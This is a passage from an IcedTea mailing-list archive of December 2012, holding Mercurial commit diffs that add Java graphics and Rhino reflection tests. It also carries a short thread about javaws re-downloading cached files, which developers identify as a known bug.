+++++++++++++++++ src/org/gfxtest/testsuites/BitBltRescaleOp.java | 58 +++++++++++++++++ 8 files changed, 372 insertions(+), 0 deletions(-) diffs (420 lines): diff -r 33be8ac9a2d3 -r e0d051839cb1 ChangeLog --- a/ChangeLog Thu Dec 06 10:58:47 2012 +0100 +++ b/ChangeLog Fri Dec 07 12:10:17 2012 +0100 @@ -1,3 +1,15 @@ +2012-12-07 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/BitBltAffineTransformOp.java: + * src/org/gfxtest/testsuites/BitBltColorConvertOp.java: + * src/org/gfxtest/testsuites/BitBltConvolveOp.java: + * src/org/gfxtest/testsuites/BitBltCustomOp.java: + * src/org/gfxtest/testsuites/BitBltLookupOp.java: + * src/org/gfxtest/testsuites/BitBltRescaleOp.java: + Added stubs for six new tests. + * Makefile: + Added new class to compile and new test to run. + 2012-12-06 Pavel Tisnovsky * src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java: diff -r 33be8ac9a2d3 -r e0d051839cb1 Makefile --- a/Makefile Thu Dec 06 10:58:47 2012 +0100 +++ b/Makefile Fri Dec 07 12:10:17 2012 +0100 @@ -147,6 +147,12 @@ $(CLASSES)/$(TESTSUITE_DIR)/BitBltScaleImage.class \ $(CLASSES)/$(TESTSUITE_DIR)/BitBltUsingBgColor.class \ $(CLASSES)/$(TESTSUITE_DIR)/BitBltUsingBgColorAlpha.class \ + $(CLASSES)/$(TESTSUITE_DIR)/BitBltAffineTransformOp.class \ + $(CLASSES)/$(TESTSUITE_DIR)/BitBltColorConvertOp.class \ + $(CLASSES)/$(TESTSUITE_DIR)/BitBltConvolveOp.class \ + $(CLASSES)/$(TESTSUITE_DIR)/BitBltCustomOp.class \ + $(CLASSES)/$(TESTSUITE_DIR)/BitBltLookupOp.class \ + $(CLASSES)/$(TESTSUITE_DIR)/BitBltRescaleOp.class \ $(CLASSES)/$(TESTSUITE_DIR)/ColorPaint.class \ $(CLASSES)/$(TESTSUITE_DIR)/NormalArcs.class \ $(CLASSES)/$(TESTSUITE_DIR)/NormalLines.class \ @@ -247,6 +253,12 @@ $(RESULTS)/BitBltScaleImage \ $(RESULTS)/BitBltUsingBgColor \ $(RESULTS)/BitBltUsingBgColorAlpha \ + $(RESULTS)/BitBltAffineTransformOp \ + $(RESULTS)/BitBltColorConvertOp \ + $(RESULTS)/BitBltConvolveOp \ + $(RESULTS)/BitBltCustomOp \ + $(RESULTS)/BitBltLookupOp \ + $(RESULTS)/BitBltRescaleOp \ $(RESULTS)/ColorPaint \ $(RESULTS)/NormalArcs \ $(RESULTS)/NormalLines \ diff -r 33be8ac9a2d3 -r e0d051839cb1 src/org/gfxtest/testsuites/BitBltAffineTransformOp.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/src/org/gfxtest/testsuites/BitBltAffineTransformOp.java Fri Dec 07 12:10:17 2012 +0100 @@ -0,0 +1,58 @@ +/* + Java gfx-test framework + + Copyright (C) 2012 Red Hat + +This file is part of IcedTea. + +IcedTea is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +IcedTea is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IcedTea; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA +02110-1301 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. +*/ + +package org.gfxtest.testsuites; + +import org.gfxtest.framework.GfxTest; + +public class BitBltAffineTransformOp extends GfxTest +{ + + /** + * Entry point to the test suite. + * + * @param args not used in this case + */ + public static void main(String[] args) + { + new BitBltAffineTransformOp().runTestSuite(args); + } + +} diff -r 33be8ac9a2d3 -r e0d051839cb1 src/org/gfxtest/testsuites/BitBltColorConvertOp.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/src/org/gfxtest/testsuites/BitBltColorConvertOp.java Fri Dec 07 12:10:17 2012 +0100 @@ -0,0 +1,58 @@ +/* + Java gfx-test framework + + Copyright (C) 2012 Red Hat + +This file is part of IcedTea. + +IcedTea is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +IcedTea is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IcedTea; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA +02110-1301 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. +*/ + +package org.gfxtest.testsuites; + +import org.gfxtest.framework.GfxTest; + +public class BitBltColorConvertOp extends GfxTest +{ + + /** + * Entry point to the test suite. + * + * @param args not used in this case + */ + public static void main(String[] args) + { + new BitBltColorConvertOp().runTestSuite(args); + } + +} diff -r 33be8ac9a2d3 -r e0d051839cb1 src/org/gfxtest/testsuites/BitBltConvolveOp.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/src/org/gfxtest/testsuites/BitBltConvolveOp.java Fri Dec 07 12:10:17 2012 +0100 @@ -0,0 +1,58 @@ +/* + Java gfx-test framework + + Copyright (C) 2012 Red Hat + +This file is part of IcedTea. + +IcedTea is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +IcedTea is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IcedTea; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA +02110-1301 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. +*/ + +package org.gfxtest.testsuites; + +import org.gfxtest.framework.GfxTest; + +public class BitBltConvolveOp extends GfxTest +{ + + /** + * Entry point to the test suite. + * + * @param args not used in this case + */ + public static void main(String[] args) + { + new BitBltConvolveOp().runTestSuite(args); + } + +} diff -r 33be8ac9a2d3 -r e0d051839cb1 src/org/gfxtest/testsuites/BitBltCustomOp.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/src/org/gfxtest/testsuites/BitBltCustomOp.java Fri Dec 07 12:10:17 2012 +0100 @@ -0,0 +1,58 @@ +/* + Java gfx-test framework + + Copyright (C) 2012 Red Hat + +This file is part of IcedTea. + +IcedTea is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +IcedTea is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IcedTea; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA +02110-1301 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. +*/ + +package org.gfxtest.testsuites; + +import org.gfxtest.framework.GfxTest; + +public class BitBltCustomOp extends GfxTest +{ + + /** + * Entry point to the test suite. + * + * @param args not used in this case + */ + public static void main(String[] args) + { + new BitBltCustomOp().runTestSuite(args); + } + +} diff -r 33be8ac9a2d3 -r e0d051839cb1 src/org/gfxtest/testsuites/BitBltLookupOp.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/src/org/gfxtest/testsuites/BitBltLookupOp.java Fri Dec 07 12:10:17 2012 +0100 @@ -0,0 +1,58 @@ +/* + Java gfx-test framework + + Copyright (C) 2012 Red Hat + +This file is part of IcedTea. + +IcedTea is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +IcedTea is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IcedTea; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA +02110-1301 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. +*/ + +package org.gfxtest.testsuites; + +import org.gfxtest.framework.GfxTest; + +public class BitBltLookupOp extends GfxTest +{ + + /** + * Entry point to the test suite. + * + * @param args not used in this case + */ + public static void main(String[] args) + { + new BitBltLookupOp().runTestSuite(args); + } + +} diff -r 33be8ac9a2d3 -r e0d051839cb1 src/org/gfxtest/testsuites/BitBltRescaleOp.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/src/org/gfxtest/testsuites/BitBltRescaleOp.java Fri Dec 07 12:10:17 2012 +0100 @@ -0,0 +1,58 @@ +/* + Java gfx-test framework + + Copyright (C) 2012 Red Hat + +This file is part of IcedTea. + +IcedTea is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +IcedTea is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IcedTea; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA +02110-1301 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. +*/ + +package org.gfxtest.testsuites; + +import org.gfxtest.framework.GfxTest; + +public class BitBltRescaleOp extends GfxTest +{ + + /** + * Entry point to the test suite. + * + * @param args not used in this case + */ + public static void main(String[] args) + { + new BitBltRescaleOp().runTestSuite(args); + } + +} From ptisnovs at icedtea.classpath.org Fri Dec 7 04:59:17 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Fri, 07 Dec 2012 12:59:17 +0000 Subject: /hg/rhino-tests: Added new test into the test case src/org/Rhino... Message-ID: changeset bfef6c437043 in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=bfef6c437043 author: Pavel Tisnovsky date: Fri Dec 07 14:01:56 2012 +0100 Added new test into the test case src/org/RhinoTests/AbstractScriptEngineClassTest.java. diffstat: ChangeLog | 5 +++ src/org/RhinoTests/AbstractScriptEngineClassTest.java | 29 +++++++++++++++++++ 2 files changed, 34 insertions(+), 0 deletions(-) diffs (51 lines): diff -r 78f32c582232 -r bfef6c437043 ChangeLog --- a/ChangeLog Thu Dec 06 11:19:13 2012 +0100 +++ b/ChangeLog Fri Dec 07 14:01:56 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-07 Pavel Tisnovsky + + * src/org/RhinoTests/AbstractScriptEngineClassTest.java: + Added new test into this test case. + 2012-12-06 Pavel Tisnovsky * src/org/RhinoTests/JavaScriptSnippets.java: diff -r 78f32c582232 -r bfef6c437043 src/org/RhinoTests/AbstractScriptEngineClassTest.java --- a/src/org/RhinoTests/AbstractScriptEngineClassTest.java Thu Dec 06 11:19:13 2012 +0100 +++ b/src/org/RhinoTests/AbstractScriptEngineClassTest.java Fri Dec 07 14:01:56 2012 +0100 @@ -387,6 +387,35 @@ } /** + * Test for method javax.script.AbstractScriptEngine.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + "ARGV", + "FILENAME", + "ENGINE", + "ENGINE_VERSION", + "NAME", + "LANGUAGE", + "LANGUAGE_VERSION", + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.abstractScriptEngineClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.AbstractScriptEngine.getClass().getMethods() */ protected void testGetMethods() { From bch at shroggslodge.freeserve.co.uk Fri Dec 7 05:17:07 2012 From: bch at shroggslodge.freeserve.co.uk (Chris H.) Date: Fri, 7 Dec 2012 13:17:07 +0000 Subject: openjdk icedtea javaws Message-ID: Dear distro-pkg-dev@ I confess I am unclear if I am writing to the correct group/address to raise this matter; my apologies if I have got this wrong. Hopefully someone can let me know where best to send this if it is incorrectly posted. Regarding IcedTea javaws (latest from repository running on Suse12.1), I am concerned to know if it [javaws] operates correctly (or are there known issues) with regard to: - the '-noupdate' switch - checking for new versions and only downloading if new versions exist My concerns are raised by observing that javaws appears to download (some, if not all) files for a webstart app regardless of whether they are in the cache or not (tested by closing and re-running the app in close succession and observing the file download graphic/popup) . In addition, using the '-verbose' switch (with and without the '-noupdate') demonstrates what looks like logging downloading operations ("Status: CONNECTED DOWNLOADED STARTED +(CONNECTED DOWNLOADED STARTED)") again regardless of whether file is cached or not. ['-verbose' extract] " . . normalizing query null in http://argouml-downloads.tigris.org/maven2/antlr/antlr/2.7.7-3/antlr-2.7.7-3.jar Nothing was normalized in this url not updating: http://argouml-downloads.tigris.org/maven2/antlr/antlr/2.7.7-3/antlr-2.7.7-3.jar Status: CONNECTED DOWNLOADED STARTED +(CONNECTED DOWNLOADED STARTED) @ /maven2/antlr/antlr/2.7.7-3/antlr-2.7.7-3.jar . . . " I hope I have explained this well enough for someone to advise and comment. Thank you in advance for any help. BC Habs From jvanek at redhat.com Fri Dec 7 05:50:10 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Fri, 07 Dec 2012 14:50:10 +0100 Subject: openjdk icedtea javaws In-Reply-To: References: Message-ID: <50C1F412.9030701@redhat.com> On 12/07/2012 02:17 PM, Chris H. wrote: > Dear distro-pkg-dev@ > > I confess I am unclear if I am writing to the correct group/address to > raise this matter; my apologies if I have got this wrong. > Hopefully someone can let me know where best to send this if it is > incorrectly posted. > > Regarding IcedTea javaws (latest from repository running on > Suse12.1), I am concerned to know if it [javaws] operates correctly > (or are there known issues) with regard to: > > - the '-noupdate' switch > > - checking for new versions and only downloading if new versions exist > > My concerns are raised by observing that javaws appears to download > (some, if not all) files for a webstart app regardless of whether > they are in the cache or not (tested by closing and re-running the app > in close succession and observing the file download graphic/popup) . > > In addition, using the '-verbose' switch (with and without the > '-noupdate') demonstrates what looks like logging downloading > operations ("Status: CONNECTED DOWNLOADED STARTED +(CONNECTED > DOWNLOADED STARTED)") again regardless of whether file is cached or > not. > > ['-verbose' extract] > " > . > . > normalizing query null in > http://argouml-downloads.tigris.org/maven2/antlr/antlr/2.7.7-3/antlr-2.7.7-3.jar > Nothing was normalized in this url > not updating: http://argouml-downloads.tigris.org/maven2/antlr/antlr/2.7.7-3/antlr-2.7.7-3.jar > Status: CONNECTED DOWNLOADED STARTED +(CONNECTED DOWNLOADED STARTED) @ > /maven2/antlr/antlr/2.7.7-3/antlr-2.7.7-3.jar > . > . > . > " > > I hope I have explained this well enough for someone to advise and comment. > Thank you in advance for any help. > > BC Habs > Hi! Yap, You are on best list for this topic :) Thank you for your report, but I'm afraid it is known issue:( http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=906 You can see - http://icedtea.classpath.org/wiki/IcedTea-Web#IcedTea-Web_2.0 - it is scheduled for remote future:( J. From bch at shroggslodge.freeserve.co.uk Fri Dec 7 08:23:38 2012 From: bch at shroggslodge.freeserve.co.uk (Chris H.) Date: Fri, 7 Dec 2012 16:23:38 +0000 Subject: openjdk icedtea javaws In-Reply-To: <50C1F412.9030701@redhat.com> References: <50C1F412.9030701@redhat.com> Message-ID: Many thanks for the reply Jiri I feel a bit disappointed about that, but at least it explains what I thought was going on :-) I wish I was able to help - I could probably play 'code-robot' and code it up (given an agreed design) but I have never worked open-source so I have no idea how it all works. Hopefully it will get sorted out. Regards BCH On 7 December 2012 13:50, Jiri Vanek wrote: > On 12/07/2012 02:17 PM, Chris H. wrote: >> >> Dear distro-pkg-dev@ >> >> I confess I am unclear if I am writing to the correct group/address to >> raise this matter; my apologies if I have got this wrong. >> Hopefully someone can let me know where best to send this if it is >> incorrectly posted. >> >> Regarding IcedTea javaws (latest from repository running on >> Suse12.1), I am concerned to know if it [javaws] operates correctly >> (or are there known issues) with regard to: >> >> - the '-noupdate' switch >> >> - checking for new versions and only downloading if new versions exist >> >> My concerns are raised by observing that javaws appears to download >> (some, if not all) files for a webstart app regardless of whether >> they are in the cache or not (tested by closing and re-running the app >> in close succession and observing the file download graphic/popup) . >> >> In addition, using the '-verbose' switch (with and without the >> '-noupdate') demonstrates what looks like logging downloading >> operations ("Status: CONNECTED DOWNLOADED STARTED +(CONNECTED >> DOWNLOADED STARTED)") again regardless of whether file is cached or >> not. >> >> ['-verbose' extract] >> " >> . >> . >> normalizing query null in >> >> http://argouml-downloads.tigris.org/maven2/antlr/antlr/2.7.7-3/antlr-2.7.7-3.jar >> Nothing was normalized in this url >> not updating: >> http://argouml-downloads.tigris.org/maven2/antlr/antlr/2.7.7-3/antlr-2.7.7-3.jar >> Status: CONNECTED DOWNLOADED STARTED +(CONNECTED DOWNLOADED STARTED) @ >> /maven2/antlr/antlr/2.7.7-3/antlr-2.7.7-3.jar >> . >> . >> . >> " >> >> I hope I have explained this well enough for someone to advise and >> comment. >> Thank you in advance for any help. >> >> BC Habs >> > > Hi! > > Yap, You are on best list for this topic :) > Thank you for your report, but I'm afraid it is known issue:( > http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=906 > > > You can see - http://icedtea.classpath.org/wiki/IcedTea-Web#IcedTea-Web_2.0 > - it is scheduled for remote future:( > > > > J. From adomurad at redhat.com Fri Dec 7 09:58:24 2012 From: adomurad at redhat.com (Adam Domurad) Date: Fri, 07 Dec 2012 12:58:24 -0500 Subject: openjdk icedtea javaws In-Reply-To: References: <50C1F412.9030701@redhat.com> Message-ID: <50C22E40.20002@redhat.com> On 12/07/2012 11:23 AM, Chris H. wrote: > Many thanks for the reply Jiri > > I feel a bit disappointed about that, but at least it explains what I > thought was going on :-) > > I wish I was able to help - I could probably play 'code-robot' and > code it up (given an agreed design) but I have never worked > open-source so I have no idea how it all works. It's rather simple in theory, especially if you're familiar with source control. Just 'hg clone' the source with the instructions here: http://icedtea.classpath.org/wiki/IcedTea-Web#Getting_IcedTea-Web (the 'bleeding edge' one -- should be stable anyway unless we mess up). Then, do your changes (the hard part of course!). Once your changes are ready do 'hg diff > somefile' to get a patch file, and share it with the mailing list. If/when its accepted, someone will commit it on your behalf. If you feel the need you can also ask for commiter privileges, however with just some patches here or there its easier to let us commit it. If you want to ask ITW-related questions, I'm adomurad on #OpenJDK on OFTC. I can help with deciding on appropriate design if you do feel like doing some coding. Happy hacking, -Adam > > Hopefully it will get sorted out. > > Regards > BCH > > On 7 December 2012 13:50, Jiri Vanek wrote: >> On 12/07/2012 02:17 PM, Chris H. wrote: >>> Dear distro-pkg-dev@ >>> >>> I confess I am unclear if I am writing to the correct group/address to >>> raise this matter; my apologies if I have got this wrong. >>> Hopefully someone can let me know where best to send this if it is >>> incorrectly posted. >>> >>> Regarding IcedTea javaws (latest from repository running on >>> Suse12.1), I am concerned to know if it [javaws] operates correctly >>> (or are there known issues) with regard to: >>> >>> - the '-noupdate' switch >>> >>> - checking for new versions and only downloading if new versions exist >>> >>> My concerns are raised by observing that javaws appears to download >>> (some, if not all) files for a webstart app regardless of whether >>> they are in the cache or not (tested by closing and re-running the app >>> in close succession and observing the file download graphic/popup) . >>> >>> In addition, using the '-verbose' switch (with and without the >>> '-noupdate') demonstrates what looks like logging downloading >>> operations ("Status: CONNECTED DOWNLOADED STARTED +(CONNECTED >>> DOWNLOADED STARTED)") again regardless of whether file is cached or >>> not. >>> >>> ['-verbose' extract] >>> " >>> . >>> . >>> normalizing query null in >>> >>> http://argouml-downloads.tigris.org/maven2/antlr/antlr/2.7.7-3/antlr-2.7.7-3.jar >>> Nothing was normalized in this url >>> not updating: >>> http://argouml-downloads.tigris.org/maven2/antlr/antlr/2.7.7-3/antlr-2.7.7-3.jar >>> Status: CONNECTED DOWNLOADED STARTED +(CONNECTED DOWNLOADED STARTED) @ >>> /maven2/antlr/antlr/2.7.7-3/antlr-2.7.7-3.jar >>> . >>> . >>> . >>> " >>> >>> I hope I have explained this well enough for someone to advise and >>> comment. >>> Thank you in advance for any help. >>> >>> BC Habs >>> >> Hi! >> >> Yap, You are on best list for this topic :) >> Thank you for your report, but I'm afraid it is known issue:( >> http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=906 >> >> >> You can see - http://icedtea.classpath.org/wiki/IcedTea-Web#IcedTea-Web_2.0 >> - it is scheduled for remote future:( >> >> >> >> J. From ptisnovs at icedtea.classpath.org Mon Dec 10 01:24:24 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Mon, 10 Dec 2012 09:24:24 +0000 Subject: /hg/gfx-test: Added new tests to the test suite src/org/gfxtest/... Message-ID: changeset 72295736d85d in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=72295736d85d author: Pavel Tisnovsky date: Mon Dec 10 10:27:25 2012 +0100 Added new tests to the test suite src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java. diffstat: ChangeLog | 7 +- src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java | 75 +++++++++++++++++ 2 files changed, 81 insertions(+), 1 deletions(-) diffs (106 lines): diff -r e0d051839cb1 -r 72295736d85d ChangeLog --- a/ChangeLog Fri Dec 07 12:10:17 2012 +0100 +++ b/ChangeLog Mon Dec 10 10:27:25 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-10 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java: + Added new tests to this test suite. + 2012-12-07 Pavel Tisnovsky * src/org/gfxtest/testsuites/BitBltAffineTransformOp.java: @@ -8,7 +13,7 @@ * src/org/gfxtest/testsuites/BitBltRescaleOp.java: Added stubs for six new tests. * Makefile: - Added new class to compile and new test to run. + Added new classes to compile and new tests to run. 2012-12-06 Pavel Tisnovsky diff -r e0d051839cb1 -r 72295736d85d src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java --- a/src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java Fri Dec 07 12:10:17 2012 +0100 +++ b/src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java Mon Dec 10 10:27:25 2012 +0100 @@ -117,6 +117,81 @@ } /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.black. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundBlackAlpha000(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.black, 0.0f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.black. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundBlackAlpha025(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.black, 0.25f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.black. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundBlackAlpha050(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.black, 0.5f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.black. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundBlackAlpha075(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.black, 0.75f); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. + * Background color is set to Color.black. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageType3ByteBGRbackgroundBlackAlpha100(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageType3ByteRGB(image, graphics2d, Color.black, 1.00f); + } + + /** * Entry point to the test suite. * * @param args not used in this case From ptisnovs at icedtea.classpath.org Mon Dec 10 01:35:18 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Mon, 10 Dec 2012 09:35:18 +0000 Subject: /hg/rhino-tests: Added three new tests into the test case src/or... Message-ID: changeset 2c37c25280fa in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=2c37c25280fa author: Pavel Tisnovsky date: Mon Dec 10 10:38:24 2012 +0100 Added three new tests into the test case src/org/RhinoTests/BindingsClassTest.java. diffstat: ChangeLog | 8 +++ src/org/RhinoTests/BindingsClassTest.java | 80 +++++++++++++++++++++++++++++++ 2 files changed, 88 insertions(+), 0 deletions(-) diffs (133 lines): diff -r bfef6c437043 -r 2c37c25280fa ChangeLog --- a/ChangeLog Fri Dec 07 14:01:56 2012 +0100 +++ b/ChangeLog Mon Dec 10 10:38:24 2012 +0100 @@ -1,3 +1,11 @@ +2012-12-10 Pavel Tisnovsky + + * src/org/RhinoTests/BindingsClassTest.java: + Added three new tests into this test case: + - getAnnotations() + - getDeclaredAnnotations() + - getField() + 2012-12-07 Pavel Tisnovsky * src/org/RhinoTests/AbstractScriptEngineClassTest.java: diff -r bfef6c437043 -r 2c37c25280fa src/org/RhinoTests/BindingsClassTest.java --- a/src/org/RhinoTests/BindingsClassTest.java Fri Dec 07 14:01:56 2012 +0100 +++ b/src/org/RhinoTests/BindingsClassTest.java Mon Dec 10 10:38:24 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -318,6 +319,7 @@ protected void testGetFields() { // following fields should exists final String[] fieldsThatShouldExists = { + // this should be really empty }; // get all fields Field[] fields = this.bindingsClass.getFields(); @@ -339,6 +341,7 @@ protected void testGetDeclaredFields() { // following fields should be declared final String[] fieldsThatShouldExists = { + // this should be really empty }; // get all declared fields Field[] declaredFields = this.bindingsClass.getDeclaredFields(); @@ -355,6 +358,29 @@ } /** + * Test for method javax.script.Bindings.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + // this should be 